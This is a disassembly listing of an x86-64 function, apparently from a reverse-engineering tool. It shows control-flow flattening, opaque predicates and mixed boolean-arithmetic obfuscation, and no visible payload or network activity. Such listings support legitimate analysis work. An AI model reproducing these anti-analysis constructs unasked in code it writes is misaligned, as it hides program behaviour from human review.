mov eax, edx
xor al, bl
test al, 1
mov eax, 0xf23375e2
mov ecx, 0x4dc8d516
cmovne eax, ecx
test dl, 1
mov ecx, 0xf23375e2
cmovne ecx, eax
test bl, 1
jmp 0x1400ca6f6
mov ecx, 0x9661fa5e
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov ecx, edx
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x77728d6c
and ecx, 0x888d7293
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8842082
and ebp, 0xbf136b56
and edx, 0x40ec94a9
or edx, ebp
mov ebp, edx
xor ebp, 0x8404a0
xor ecx, 0x77728d6c
xor edx, 0xbf136b56
mov edi, ecx
and edi, 0xd679da19
and ebx, 0x298625e6
or ebx, edi
or ecx, edx
and edx, 0xd679da19
and ebp, 0x298625e6
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x4b2152d2
and ecx, 0xb4dead2d
or ecx, edx
xor ecx, 0xb4dead2d
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
or bl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x9b0c3e2
mov ebp, 0xba094553
cmovne eax, ebp
test cl, cl
mov ecx, eax
cmovne ecx, ebp
test dl, dl
cmove ecx, eax
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov eax, dword [0x14024b728]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
or eax, 1
mov ebp, eax
not ebp
and ecx, 0x107919b5
and edx, 0xef86e64a
or edx, ecx
mov ecx, edx
xor ecx, 0xa106e043
xor edx, 0x107919b4
mov ebx, eax
and ebx, 0x5e981e3c
and ebp, 0xa167e1c2
or ebp, ebx
or eax, edx
and edx, 0x5e981e3c
and ecx, 0xa167e1c3
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x79c343ee
and eax, 0x863cbc11
or eax, ecx
mov ecx, eax
xor ecx, 0x630a011
xor eax, 0x38c04288
and eax, 0xb8cc5e88
and ecx, 0x4733a177
or ecx, eax
mov eax, ecx
xor eax, 0xa8480088
xor ecx, 0x40228105
and eax, 0xaf5920fa
and ecx, 0x50a6df05
or ecx, eax
xor ecx, 0x50a6df05
setne r8b
sete cl
cmp dword [0x14024b724], 0xa
setl bl
mov edx, ebx
or dl, cl
xor dl, 1
xor cl, bl
or dl, cl
or r8b, bl
and cl, bl
xor cl, 1
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0xdc68189e
mov edx, 0x9ea41112
cmovne eax, edx
test bl, bl
mov ebp, 0xdc68189e
cmove eax, ebp
test cl, 1
cmovne eax, edx
jmp 0x1400cac86
mov rax, qword [rsp + 0x38]
mov qword [0x14024b060], rax
mov ecx, 0xa6368b63
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xccbe6917
and edx, ecx
and ecx, 0x334196e8
or ecx, ebp
mov ebp, ecx
xor ebp, 0x20082c0
xor ecx, 0xccbe6917
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xb5eb1d2a
and ebp, 0x4a14e2d5
or ebp, edi
or ecx, ebx
and ebx, 0xb5eb1d2a
and edx, 0x4a14e2d5
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x2acb46db
and ecx, 0xd534b924
or ecx, edx
xor ecx, 0xd534b925
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x91200752
and ecx, 0x6edff8ad
or ecx, edx
mov edx, ecx
xor edx, 0x6e8350ad
xor ecx, 0x740
and ecx, 0x5caf40
and edx, 0xffa350bf
or edx, ecx
mov ecx, edx
xor ecx, 0x448240
xor edx, 0x9481009a
and edx, 0x94992d9a
and ecx, 0x6b66d265
or ecx, edx
mov edx, ecx
xor edx, 0x6924c025
xor ecx, 0x90000598
and ecx, 0x924217d8
and edx, 0x6dbde827
or edx, ecx
mov ecx, edx
xor ecx, 0x12401380
xor edx, 0x4084a006
and edx, 0xc086a45e
and ecx, 0x3f795ba1
or ecx, edx
xor ecx, 0x3f795ba1
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
or cl, bl
and bl, r8b
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor cl, 1
or al, r8b
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and al, cl
and dl, bl
or dl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x2b935d5b
mov ebp, 0xfec22421
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x2b935d5b
jmp 0x1400ca6f6
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov edx, edi
and edx, 0x1246690
mov ecx, ebp
and ecx, 0x4c80041
or ecx, edx
xor ecx, 0x4c80041
mov edx, ebp
xor edx, 0x5ec66d1
and edx, ebp
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x51b86caf
and edx, 0xae479350
or edx, ecx
mov ebx, edx
xor ebx, 0xababf580
xor edx, 0x54040a5f
and edi, 0x1625ddc9
and ebp, 0xe9da2236
or ebp, edi
mov ecx, ebp
xor ecx, 0xe8882216
xor ebp, 0x1625ddc9
mov edi, ebx
and edi, 0x37305a0
and edx, 0xfc8cfa5f
or edx, edi
or ebx, ebp
and ebp, 0x37305a0
and ecx, 0xfc8cfa5f
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, r10d
xor cl, r8b
and cl, r10b
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
xor cl, 1
mov edx, r9d
xor r9b, r8b
and r8b, al
and dl, r10b
or dl, r8b
or al, r10b
xor al, 1
or al, r9b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0x32a94c3c
mov eax, 0x470ab3ec
cmovne ecx, eax
test dl, 1
mov edx, 0x32a94c3c
cmovne ecx, edx
jmp 0x1400ca5e6
mov eax, dword [0x14024b728]
mov ecx, dword [0x14024b724]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
and eax, ebp
and edx, ebx
or edx, eax
xor ebp, edx
test ebp, edx
sete r8b
setne al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov edx, eax
and dl, cl
and al, bl
and bl, r8b
or bl, dl
xor bl, 1
or bl, cl
xor bl, 1
and cl, r8b
or cl, al
xor cl, bl
mov eax, ecx
xor al, 1
and bl, al
xor al, bl
test cl, 1
mov ecx, 0x2875dde5
mov edx, 0x2ec7e77
cmovne ecx, edx
test bl, 1
mov ebp, 0x2875dde5
cmove ecx, ebp
jmp 0x1400c5f70
mov ecx, 0x846de7dc
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebx, ecx
or ebx, 0x1c2beb92
mov edi, ebx
not edi
mov edx, esi
or edx, 0xe3d4146d
mov ebp, edx
not ebp
and ebx, 0xb297decd
and edi, 0x41400020
or edi, ebx
and edx, 0xb297decd
and ebp, 0xc282112
or ebp, edx
xor ebp, edi
mov edx, ebp
not edx
and edx, 0x1c2beb93
and ebp, 0xe3d4146c
or ebp, edx
not ebp
and esi, 0xea72de7f
and ecx, 0x158d2180
or ecx, esi
xor ecx, 0x158d2180
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
cmp ecx, 0xffffffff
setne bl
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
and al, cl
and bl, dl
or bl, al
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, edx
xor al, bl
xor al, 1
mov r8d, ebx
xor r8b, 1
or dl, r8b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, ebx
xor cl, al
and cl, bl
and dl, r8b
and al, bl
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xfd15fb69
mov ebp, 0x88bb1eea
cmovne eax, ebp
test cl, cl
mov ecx, 0xfd15fb69
cmove eax, ecx
test dl, 1
cmovne eax, ebp
mov ecx, eax
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x481ee094
and ecx, ebp
not ebp
and ebp, 0x40160014
and edx, 0x808e080
or edx, ebp
xor edx, 0x808e080
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb7e11f6b
and ecx, 0x481ee094
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x6a3d5fd1
and ecx, 0x95c2a02e
or ecx, edx
xor ecx, 0x95c2a02f
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbcdd7dfa
and ecx, 0x43228205
or ecx, edx
mov edx, ecx
xor edx, 0x1000201
xor ecx, 0x14052940
and ecx, 0x5627a944
and edx, 0xa9d856bb
or edx, ecx
mov ecx, edx
xor ecx, 0x225a044
xor edx, 0xa9d856bb
mov ebp, edx
and ebp, 0xdc4a1908
and ecx, 0x23b5e6f7
or ecx, ebp
xor ecx, 0x23b5e6f7
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and bl, al
mov edx, ecx
and dl, r8b
or dl, bl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
xor cl, r8b
mov r8d, ecx
xor r8b, 1
mov eax, edx
and al, r9b
mov ebx, r8d
and bl, cl
mov r10d, edx
xor r10b, al
xor al, 1
or al, r9b
xor al, 1
or al, r10b
xor dl, r8b
xor r8b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r8b
xor bl, al
or cl, r9b
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x7b5d620b
mov edx, 0x8d8424e4
cmovne ecx, edx
test bl, 1
mov r13d, 0x8d8424e4
cmove ecx, edx
test al, 1
mov eax, 0x7b5d620b
jmp 0x1400ca6f6
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14019f730
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret